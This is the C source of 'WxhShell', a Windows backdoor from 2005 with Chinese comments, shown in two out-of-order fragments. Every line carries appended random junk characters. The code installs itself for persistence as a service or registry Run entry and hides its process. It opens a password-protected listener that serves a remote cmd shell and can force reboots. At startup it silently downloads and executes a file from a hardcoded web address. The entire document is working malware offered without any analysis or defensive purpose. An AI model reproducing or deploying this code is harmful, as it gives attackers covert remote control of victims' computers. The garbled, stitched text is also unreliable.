    closesocket(wsh); =_ |G q|  
    ExitThread(0); ml1%C%  
    } |M5#jVXj  
    break; !R\FCAW[x  
    } lbIPtu  
  // 获取shell XJ3sqcS  
  case 's': { 7G-?^  
    CmdShell(wsh); `{Q'iydU  
    closesocket(wsh); bK~Toz< k  
    ExitThread(0); *OFG3uM  
    break; 1a{r1([)  
  } B^P&+,\[}  
  // 退出 &*+$38XE^  
  case 'x': { f ?k0(rl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2y^:T'p  
    CloseIt(wsh); -2J37   
    break; 0g|5s  
    } vZTXvdF  
  // 离开 Z*mbhod  
  case 'q': { &Q?@VN i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U6@c)_* <  
    closesocket(wsh); ~Y CH5,  
    WSACleanup(); |>]@w\]  
    exit(1); Wmcd{MOS  
    break; -W('^v_*  
        } ;;+AdN5  
  } ;j1E6  
  } `<se&IZE  
KU` *LB:  
  // 提示信息 T&]-p:mg^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |JYb4J4Ni  
} QWfSm^ t  
  } {P~rf&Ee  
d8jH?P-"  
  return; -9= DDoO  
} ySO\9#Ho  
9c)#j&2?H  
// shell模块句柄 ;n(f?RO3X  
int CmdShell(SOCKET sock) Fk3(( n=  
{ qovsM M  
STARTUPINFO si; rn*'[i?  
ZeroMemory(&si,sizeof(si)); ,*6K3/kW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qD>^aEd@4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mXyP;k  
PROCESS_INFORMATION ProcessInfo; ;i6~iLY  
char cmdline[]="cmd"; \M\7k5$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); klm>/MXI`  
  return 0; n Ab~  
} ?}s;,_GH  
MBA?, |9Q#  
// 自身启动模式 5>f"  
int StartFromService(void) [%dsq`b#  
{ fS4W*P[B3  
typedef struct ktTP~7UVi  
{ aHW34e@ebL  
  DWORD ExitStatus; \~,\|  
  DWORD PebBaseAddress; *%KIq/V  
  DWORD AffinityMask; a#r{FoU{M8  
  DWORD BasePriority; d%'#-w'  
  ULONG UniqueProcessId; B0Wf$ s^7t  
  ULONG InheritedFromUniqueProcessId; BkXv4|UE  
}   PROCESS_BASIC_INFORMATION; xNOKa*  
{HEWU<5  
PROCNTQSIP NtQueryInformationProcess; lgU!D |v  
BVb^xL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LsERcjwwK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "PI;/(kR  
o( zez  
  HANDLE             hProcess; *FC8=U2\X  
  PROCESS_BASIC_INFORMATION pbi; C 6 \  
C][hH?.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L4/ns@e  
  if(NULL == hInst ) return 0; n~yKq"^  
a`w=0]1&*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >E J{ *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KUZi3\p9W>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w CLniCt  
)Ac,F6w  
  if (!NtQueryInformationProcess) return 0; H;nzo3x  
Zwc&4:5%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?;W"=I*3  
  if(!hProcess) return 0; o[!o+M  
.-rz30xT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \T_ZcV  
f~mwDkf?L  
  CloseHandle(hProcess); m6e(Xk,)  
:P_h_Tizv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8+oc4~!A@n  
if(hProcess==NULL) return 0; 7w) 8s  
Ljz)%y[s  
HMODULE hMod; 2T2<I/")O  
char procName[255]; G^)]FwTs  
unsigned long cbNeeded; a^J(TW/  
,Lp"Ia  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }VJ>}i*  
,g7O   
  CloseHandle(hProcess); hTLf$_|P  
yg}O9!MJ  
if(strstr(procName,"services")) return 1; // 以服务启动 z]8Mv(eL  
s|<n7 =J  
  return 0; // 注册表启动 Q;3`T7  
} fW2NYQP$:  
> "F-1{  
// 主模块 g3kbsi7_:  
int StartWxhshell(LPSTR lpCmdLine) Gpxp8[ {  
{ U!|)M  
  SOCKET wsl; ivo><"Y(r  
BOOL val=TRUE; M 8WjqTq  
  int port=0; RG45S0Ygj  
  struct sockaddr_in door; lF(v<drkB  
}XBF#BN  
  if(wscfg.ws_autoins) Install(); Qt4mg?X/  
qWr=Oiu  
port=atoi(lpCmdLine); #(614-r/  
?fy37m(M}  
if(port<=0) port=wscfg.ws_port; /K li C\  
O oA!N-Q  
  WSADATA data; K@1gK<,a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S&UP;oc  
_oc6=Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q&@s/k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SzpUCr"  
  door.sin_family = AF_INET; &{8:XJe*,%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a%`Yz"<lQ  
  door.sin_port = htons(port); ^x O](,H  
^ou)c/68aQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _@B?  
closesocket(wsl); yy{YduI  
return 1; fphCQO^#vW  
} xW)  
3<XuJ1V&  
  if(listen(wsl,2) == INVALID_SOCKET) { "7%jv[  
closesocket(wsl); BT [|f[1  
return 1; PzKTEYJL  
} u|IS7>Sm  
  Wxhshell(wsl); `"CA$Se8  
  WSACleanup(); GZaB z#U  
xbCR4upS  
return 0; t jThQ  
V6dq8Z"h  
} Fj<*!J$,  
l3b=8yn.  
// 以NT服务方式启动 <MG&3L.[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kNWTM%u9  
{ 'M6+(`x  
DWORD   status = 0; bI0xI[#Q  
  DWORD   specificError = 0xfffffff;  ri4z^1\  
"|(.W3f1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m@kLZimD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O MQ?*^eA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [(*Eg!?W=  
  serviceStatus.dwWin32ExitCode     = 0; Y(6ev o&IR  
  serviceStatus.dwServiceSpecificExitCode = 0; E}9wzPs  
  serviceStatus.dwCheckPoint       = 0; &Pme4IHtm  
  serviceStatus.dwWaitHint       = 0; *bp09XG  
z# &1>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %( 7##f_  
  if (hServiceStatusHandle==0) return; 5;KJ0N*-  
&mtt,]6C_  
status = GetLastError(); *yT>  
  if (status!=NO_ERROR) >6Uc|D  
{ L,A+"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -'qVnu  
    serviceStatus.dwCheckPoint       = 0; I;JV-jDM  
    serviceStatus.dwWaitHint       = 0; i;{lY1  
    serviceStatus.dwWin32ExitCode     = status; '/qy_7O  
    serviceStatus.dwServiceSpecificExitCode = specificError; d%k7n+ICQ4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \}h   
    return; L<=Dl  
  } A3tv'-e9  
yC$m(Y12FN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q SF0?Puf  
  serviceStatus.dwCheckPoint       = 0; rtAPkXJFM  
  serviceStatus.dwWaitHint       = 0; >(P(!^[f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ 3M4F^  
} RYCiO,+  
j17h_ a;  
// 处理NT服务事件,比如:启动、停止 `Ns@W?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !{+CzUo@  
{ Z4Q]By:/L  
switch(fdwControl) O'(Us!aq  
{ ( gg )?  
case SERVICE_CONTROL_STOP: AJB NM  
  serviceStatus.dwWin32ExitCode = 0; sm'_0EUg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j=T8 b  
  serviceStatus.dwCheckPoint   = 0; bDl#806PL  
  serviceStatus.dwWaitHint     = 0; !0lk}Uzkh  
  { N4,oO H~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C[%Qg=<  
  } 55s5(]`d  
  return; P]n0L4c  
case SERVICE_CONTROL_PAUSE: 0fX` >-X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8GW+:  
  break; (rhlK} C  
case SERVICE_CONTROL_CONTINUE: o}QP+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eZa7brC|  
  break; =5*Wu+S4r  
case SERVICE_CONTROL_INTERROGATE: plPPf+\  
  break; J|{50?S{^  
};  t* Ct*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )rP,+B?W  
} ^cNuEF9  
rM.Pc?Z  
// 标准应用程序主函数 _fZec+oM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h(yFr/  
{ ^z!=,M<+{  
BA1H)%  
// 获取操作系统版本 L }{3_/t  
OsIsNt=GetOsVer(); "{vWdY|"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wG MhKZE  
qvu1u GCc  
  // 从命令行安装 v)*MgfS  
  if(strpbrk(lpCmdLine,"iI")) Install(); =&08s(A  
4>oM5Yf8  
  // 下载执行文件 glCpA$;VPu  
if(wscfg.ws_downexe) { az![u)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }=v4(M`%  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~vt*%GN3  
} n.c0G`  
A^M]vk%dg  
if(!OsIsNt) { bv h#Q_  
// 如果时win9x,隐藏进程并且设置为注册表启动 }v}F8}4  
HideProc(); ``< #F3  
StartWxhshell(lpCmdLine); !%M,x~H  
} }0\SNpVN  
else 5B|.cOE  
  if(StartFromService()) s"#N;  
  // 以服务方式启动 4vi?9MPz  
  StartServiceCtrlDispatcher(DispatchTable); %dnpO|L  
else r e zp7  
  // 普通方式启动 &&l ZUR,`  
  StartWxhshell(lpCmdLine); L&s~j/ pR  
{1Cnrjw  
return 0; 75p9_)>96  
} _!zc <&~I  
+`wr{kB$~  
UfPB-EFl$D  
k0=!%f_G!  
=========================================== 0qNmao4E_  
wxcJ2T dH  
J'|[-D-a  
]Xa]a}[uE  
LE{@J0r#n  
;6R9k]5P%  
" lHM} E$5  
0~ nCT&V  
#include <stdio.h> FJH>P\+  
#include <string.h> \EU3i;BNT%  
#include <windows.h> ][l5S*CC_  
#include <winsock2.h> GC# [&>L  
#include <winsvc.h> J?TCP%  
#include <urlmon.h> 9^g8VlQdT  
sx azl]  
#pragma comment (lib, "Ws2_32.lib") !VIxEu^ke  
#pragma comment (lib, "urlmon.lib") }iDRlE,  
C ibfuR  
#define MAX_USER   100 // 最大客户端连接数 Dti-*LB1  
#define BUF_SOCK   200 // sock buffer |)To 0Z  
#define KEY_BUFF   255 // 输入 buffer MkFWZ9c3  
3HXeBW  
#define REBOOT     0   // 重启 V<|N}8{Z2a  
#define SHUTDOWN   1   // 关机 pSC{0Y$g  
~rO&Y{aG#  
#define DEF_PORT   5000 // 监听端口 9\?&u_ U"  
EsWB|V>  
#define REG_LEN     16   // 注册表键长度 @F(er  
#define SVC_LEN     80   // NT服务名长度 :tO?+1  
u q 9mq"  
// 从dll定义API !QAndg{;D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  !{V`N|0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yx`@f8Kr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ='D%c^;O8'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OQ2G2>p  
gNxv.6Pp=  
// wxhshell配置信息 Bn 8&~  
struct WSCFG { !lzj.|7=1  
  int ws_port;         // 监听端口 "24d:vf\  
  char ws_passstr[REG_LEN]; // 口令 Ay6T*Nu`  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9nQyPb6  
  char ws_regname[REG_LEN]; // 注册表键名 ApSseBhh  
  char ws_svcname[REG_LEN]; // 服务名 P\WHM(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >DY/CcG\P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z(RsB_u5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )x [=}0C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?z M   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |mG;?>c)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1f^oW[w&  
,[p?u']yZz  
}; BeRs;^r+  
+Q_xY>ej  
// default Wxhshell configuration +e>G V61  
struct WSCFG wscfg={DEF_PORT,  >h2qam  
    "xuhuanlingzhe", "K>!+<  
    1, 9{nU\am!\  
    "Wxhshell", _6.@^\;  
    "Wxhshell", Bz ,D4 E$  
            "WxhShell Service", ?xKiN5q"6  
    "Wrsky Windows CmdShell Service", O<!^^7/h0  
    "Please Input Your Password: ", R-n%3oh  
  1, 7>7n|N  
  "http://www.wrsky.com/wxhshell.exe", g-#eMQ%J  
  "Wxhshell.exe" QP<P,Bi~  
    }; moVf(7  
#|769=1  
// 消息定义模块 ;w%g*S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3<FqK\P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H"pYj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }T902RL0  
char *msg_ws_ext="\n\rExit."; "o;%em*Bc  
char *msg_ws_end="\n\rQuit."; ,agkV)H  
char *msg_ws_boot="\n\rReboot..."; Jt8M;Yk  
char *msg_ws_poff="\n\rShutdown..."; uq:'`o-1  
char *msg_ws_down="\n\rSave to "; uJ=&++[  
ArX*3  
char *msg_ws_err="\n\rErr!"; Jp)PKS ![  
char *msg_ws_ok="\n\rOK!"; \K9Y@jnr  
coaJDg+  
char ExeFile[MAX_PATH]; $?: -A  
int nUser = 0; RToX[R;1E  
HANDLE handles[MAX_USER]; 0=`aXb-  
int OsIsNt; YA8/TFu<_  
Tz& cm =  
SERVICE_STATUS       serviceStatus; BI#(L={5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?b^<Tny  
2 (ux  
// 函数声明 )CL/%I,^  
int Install(void); 35-FD{  
int Uninstall(void); cP/(h  
int DownloadFile(char *sURL, SOCKET wsh); ZMyd+C_P2  
int Boot(int flag); c:z}$DK&'  
void HideProc(void); cEJ_z(\=hr  
int GetOsVer(void); F r2 +p  
int Wxhshell(SOCKET wsl); ,h3,& ,  
void TalkWithClient(void *cs);  ;XYfw)  
int CmdShell(SOCKET sock); 3kJSz-_M  
int StartFromService(void); ?aG~E  
int StartWxhshell(LPSTR lpCmdLine); d9D*w/clMi  
#2.C$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5hCfi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mn<ea&  
*LmzGF|  
// 数据结构和表定义 U_B`SS  
SERVICE_TABLE_ENTRY DispatchTable[] = T?__  
{ ~;I{d7z,;  
{wscfg.ws_svcname, NTServiceMain}, mOjl0n[To]  
{NULL, NULL} i3Nt?FSN  
}; +xmZK<{<  
Git2Cet  
// 自我安装 SR)@'-Wd  
int Install(void) '?fn} V  
{ lgAE`Os  
  char svExeFile[MAX_PATH]; W\DJXM]b  
  HKEY key; &zP\K~Nt  
  strcpy(svExeFile,ExeFile); m} =<@b:l  
+fIy eX  
// 如果是win9x系统,修改注册表设为自启动 S 1Ji\  
if(!OsIsNt) { 1 gRR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .fW`/BXE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V|0UwS\n  
  RegCloseKey(key); -H_7GVSnl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z3T26Uk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7xT<|3 I  
  RegCloseKey(key); p@znmn-  
  return 0; ^h|'\-d\  
    } n_] OYG>U  
  } |om3*]7  
} QaEXk5>e  
else { KQqQ@D&n  
tX}Fb0y  
// 如果是NT以上系统,安装为系统服务 `+@%l*TQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [c6_6q As  
if (schSCManager!=0) }KkH7XksF  
{ F{<r IR  
  SC_HANDLE schService = CreateService }@A~a`9g  
  (  6Ue6b$xE  
  schSCManager, t! Av [K  
  wscfg.ws_svcname, Vk~}^;`Y  
  wscfg.ws_svcdisp, G}~b  
  SERVICE_ALL_ACCESS, d{GXFT;0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q`;URkjk  
  SERVICE_AUTO_START, 4]8PF  
  SERVICE_ERROR_NORMAL, z#*GPA8Em:  
  svExeFile, kQBVx8Uq]  
  NULL, 1r w>gR  
  NULL, qOa-@MN  
  NULL, oq<#  
  NULL, Bp6Evi  
  NULL -XY]WWlq  
  ); (/Y gcT  
  if (schService!=0) &q` =xF  
  { ZNA?`Z)f  
  CloseServiceHandle(schService); ?,),%JQ  
  CloseServiceHandle(schSCManager); ]g+(#x_.?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IweQB}d  
  strcat(svExeFile,wscfg.ws_svcname); uTJ?@ ^nq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cw^)}23R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EGMcU| yL  
  RegCloseKey(key); Yc5$915  
  return 0; X:g5>is|  
    } y.oJzU[p%  
  } I2l'y8)d  
  CloseServiceHandle(schSCManager); a+BA~|u^  
} Em.?  
} `RzM)ILl  
=XS'V*  
return 1; wYawG$@_  
} p9sxA|O=y  
4-n.4j|  
// 自我卸载 I5"=b}V5  
int Uninstall(void) u})JQ<|  
{ \)"qN^we  
  HKEY key; ?%0i,p@<  
-jw=Iyv  
if(!OsIsNt) { " 7 4L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]V]o%onW  
  RegDeleteValue(key,wscfg.ws_regname); XF$C)id2p  
  RegCloseKey(key); nW%c95E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +1623E  
  RegDeleteValue(key,wscfg.ws_regname); &]c9}Ic  
  RegCloseKey(key); dCyQCA[  
  return 0; *:_hOOT+[  
  } f3h9CV  
} J/*[wj  
} e O}mZN  
else { &\K#UVDyhh  
Bms?`7}N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,?f(~<Aj  
if (schSCManager!=0) sR0nY8@F  
{ WL~`L!_. A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K=>/(s Wiq  
  if (schService!=0) i! nl%%  
  { %?$"oWmenS  
  if(DeleteService(schService)!=0) { JZ7-? o  
  CloseServiceHandle(schService); n C Z  
  CloseServiceHandle(schSCManager); Fy@D&j  
  return 0; %~[F^  
  } - |'wDf?H  
  CloseServiceHandle(schService); 1f:k:Y9i  
  } jHZ<G c  
  CloseServiceHandle(schSCManager); E0PBdiD6hs  
} 2gv(`NKYE  
} m1hf[cg  
+Snjb0  
return 1; , $=V  
} !14z4]b  
0.5_,an3  
// 从指定url下载文件 m4 (Fuu  
int DownloadFile(char *sURL, SOCKET wsh) BM W4E 5  
{ <.2Z{;z  
  HRESULT hr; RinRQd  
char seps[]= "/"; 3QVng^"B)  
char *token; kgu+ q\?  
char *file; lb('r"*.  
char myURL[MAX_PATH]; "869n37  
char myFILE[MAX_PATH]; M@3H]t?  
zYNJF>^<  
strcpy(myURL,sURL); XDGZqkt  
  token=strtok(myURL,seps); ]9:G3vq  
  while(token!=NULL) '37b[~k4  
  { :[&X*bw[  
    file=token; /_|1,x-Kx  
  token=strtok(NULL,seps); T_dd7Ym'8  
  } \NqC i'&  
(65p/$Vh  
GetCurrentDirectory(MAX_PATH,myFILE); 2S4z$(x3  
strcat(myFILE, "\\"); V_QVLW  
strcat(myFILE, file); |+bG~~~%j  
  send(wsh,myFILE,strlen(myFILE),0); .,,73"  
send(wsh,"...",3,0); .wSAysiQ|P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v> 5F[0gE  
  if(hr==S_OK) G Xl?Zg  
return 0; [`lAc V<  
else ;rKYWj>IR  
return 1; AQ5v`xE4  
xd3  
} 2o/`8+eJu  
Fqv5WoYVf  
// 系统电源模块 F8I <4S  
int Boot(int flag) @n(In$  
{ ^q` *!B 9@  
  HANDLE hToken; kes'q8k  
  TOKEN_PRIVILEGES tkp; $%-?S]6)  
Ymu=G3-  
  if(OsIsNt) { 11sW$@xs 9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $\ '\@3o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G;;~xfE'  
    tkp.PrivilegeCount = 1; _u>>+6,p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :6+~"7T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u"jnEKN0y  
if(flag==REBOOT) { LayU)TIt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8gNEL+  
  return 0; nmGHJb,$  
} a5M>1&j/eC  
else { V]}b3Y!(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vvj]2V3  
  return 0; 8rYK~Sz  
} %-Z~f~<?  
  } fL;p^t u3  
  else { (% P=#vZ  
if(flag==REBOOT) { Ev16xL8B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wrU[#g,uvr  
  return 0; -wfV  
} }TW=eu~  
else { !*gAGt_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >``GDjcJ  
  return 0; v2{s2kB=  
} |Y11sDa9h  
} ]r6bJ 2  
Bl];^W^P  
return 1; 6pR#z@,  
} $@)d9u cd  
: 4WbDeR  
// win9x进程隐藏模块 l0{DnQA>I  
void HideProc(void) P}`1#$  
{ ?xZmm%JF  
}i:'f 2/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VHCzlg  
  if ( hKernel != NULL ) h6i{5\7.  
  { Gu).*cU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rR~X>+K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `WS_*fJ5  
    FreeLibrary(hKernel); 8)8oR&(f  
  } sIsu >eL  
p%1m&/ `F  
return; m 9@n  
} 1 7oxD  
($> 0&w  
// 获取操作系统版本 ;7k7/f:  
int GetOsVer(void) >>zoG3H!  
{ KCE-6T  
  OSVERSIONINFO winfo; d Al<'~g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zd ,=  
  GetVersionEx(&winfo); 0)V-|v`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {2^ @jD  
  return 1; 9AzGk=^  
  else ,r;d{  
  return 0; ]H~,K]@.  
} /H@")je  
XH$|DeAFM  
// 客户端句柄模块 q&T'x> /  
int Wxhshell(SOCKET wsl) f*}E\,V"&  
{ CJ  
  SOCKET wsh; t}*!UixE  
  struct sockaddr_in client; (t$/G3E  
  DWORD myID; +Uq:sfj,  
1C=P#MU`  
  while(nUser<MAX_USER) FSs$ ] d;  
{ &Ld8Z9IeFp  
  int nSize=sizeof(client); M) XQi/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m?$G(E5  
  if(wsh==INVALID_SOCKET) return 1; }9 2lr87  
!p2,|6Y`y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D(U3zXdO  
if(handles[nUser]==0) @(fY4]K  
  closesocket(wsh); ilpZ/Rs  
else agT[y/gb  
  nUser++; e~]e9-L>I  
  } }yDq\5s Q[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v:1Vli.  
9mphj)`d;#  
  return 0; _C=[bI@  
} >0#q!H,X  
arVf"3a  
// 关闭 socket JBAK*g  
void CloseIt(SOCKET wsh) >Eg. c  
{ hp V /F  
closesocket(wsh); }A/&]1GWk  
nUser--; 6F/ OlK<  
ExitThread(0); jYID44$  
} k+GnF00N^8  
bI6wE'h  
// 客户端请求句柄 <SdJM1%Qo  
void TalkWithClient(void *cs) .eB"la|d  
{ {eN{Zh5"  
=2]rA  
  SOCKET wsh=(SOCKET)cs; VQjFEJ  
  char pwd[SVC_LEN]; 1";e'? ^x  
  char cmd[KEY_BUFF]; SliQwm5  
char chr[1]; -G#@BtB2+  
int i,j; EiP&Y,vT  
(A fbS=[  
  while (nUser < MAX_USER) { '4lT*KN7\  
wf< `J/7u  
if(wscfg.ws_passstr) { yPG\ &Bo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )6 0f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >@"3Q`  
  //ZeroMemory(pwd,KEY_BUFF); IYg3ve`x  
      i=0; Y_>-p(IH  
  while(i<SVC_LEN) { ~V"cLTj"  
C| IQM4  
  // 设置超时 |SukiXJZF  
  fd_set FdRead; f<4q]HCa  
  struct timeval TimeOut; ';|>`<  
  FD_ZERO(&FdRead); JX$NEq(  
  FD_SET(wsh,&FdRead); (g2r\hI  
  TimeOut.tv_sec=8; NF(IF.8G  
  TimeOut.tv_usec=0; XAxI?y[c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `m;"I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S Y>,kwHO  
@TPgA(5NR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $0 S#d@v}  
  pwd=chr[0]; .P :f  
  if(chr[0]==0xd || chr[0]==0xa) { EJ;0ypbG  
  pwd=0; n.6 0$kR`  
  break; U2>dwn  
  } Fif^V  
  i++; h)l&K%4;  
    } cc(r,ij~4  
sa(M66KkU  
  // 如果是非法用户,关闭 socket s]<r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v\9,j  
} cU5"c)$'  
2T(,H.O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IQi[g~E.5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [(hvK {)  
9_A0:S9Z  
while(1) { /xm#:+Sc  
:;*#Qh3"  
  ZeroMemory(cmd,KEY_BUFF); kPX2e h  
. (*kgv@3x  
      // 自动支持客户端 telnet标准   ctUF/[_w;  
  j=0; g=g.GpFt  
  while(j<KEY_BUFF) { <AAZ8#^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r|\'9"@  
  cmd[j]=chr[0]; eo*u(@  
  if(chr[0]==0xa || chr[0]==0xd) { 6n6VEwYj  
  cmd[j]=0; P2Qyz}!wo  
  break;  e(;`9T  
  } 'UvS3]bSYW  
  j++; @wdB%  
    } R4~zL!7;  
Wt)SdF=U/  
  // 下载文件 ZH$sMh<xg  
  if(strstr(cmd,"http://")) { ZOrTbik  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @U /3iDB\  
  if(DownloadFile(cmd,wsh)) L^ #<HQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  kulQR>u  
  else ZYA.1VrM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7=p-A _X  
  } ?y*+^E0  
  else { 6`4W,  
Y zBA{FE  
    switch(cmd[0]) { /@:up+$  
  nc\C 4g  
  // 帮助 ? __aVQ7  
  case '?': { >xZhK63C/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VM]GYz|#]  
    break; N{hF [F  
  } *e-ptgO  
  // 安装 ,y8I)+  
  case 'i': { <jRFN&"h}  
